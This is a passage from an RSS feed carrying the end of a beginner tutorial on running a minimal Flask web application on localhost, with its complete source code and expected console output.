&lt;h3&gt;Running the Application&lt;/h3&gt;
&lt;p&gt;Finally, start your application by calling the &lt;code&gt;run&lt;/code&gt; method:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.run(host=&apos;localhost&apos;, port=5000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code serves your application on &lt;code&gt;localhost&lt;/code&gt; (IP address &lt;code&gt;127.0.0.1&lt;/code&gt;) at port &lt;code&gt;5000&lt;/code&gt;, making it accessible at &lt;code&gt;http://127.0.0.1:5000&lt;/code&gt;. To run the script, execute the following command in your terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 [your-file-name].py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If everything works correctly, you&apos;ll see a message like this in your console:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; * Serving Flask app &apos;app&apos;
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://localhost:5000
Press CTRL+C to quit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, open your browser and navigate to &lt;code&gt;http://127.0.0.1:5000&lt;/code&gt;. You should see the message: &lt;strong&gt;Tada! My simple Flask app is running!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here&apos;s the complete source code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask

app = Flask(__name__)

@app.route(&apos;/&apos;, methods=[&apos;GET&apos;])
def home_page():      
    return &quot;Tada! My simple Flask app is running!&quot;

app.run(host=&apos;localhost&apos;, port=5000) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In this article, I&apos;ve demonstrated how to create a simple API using Python and Flask. In the next part, I&apos;ll cover the advanced concepts mentioned earlier.&lt;/p&gt;
</content:encoded></item></channel></rss>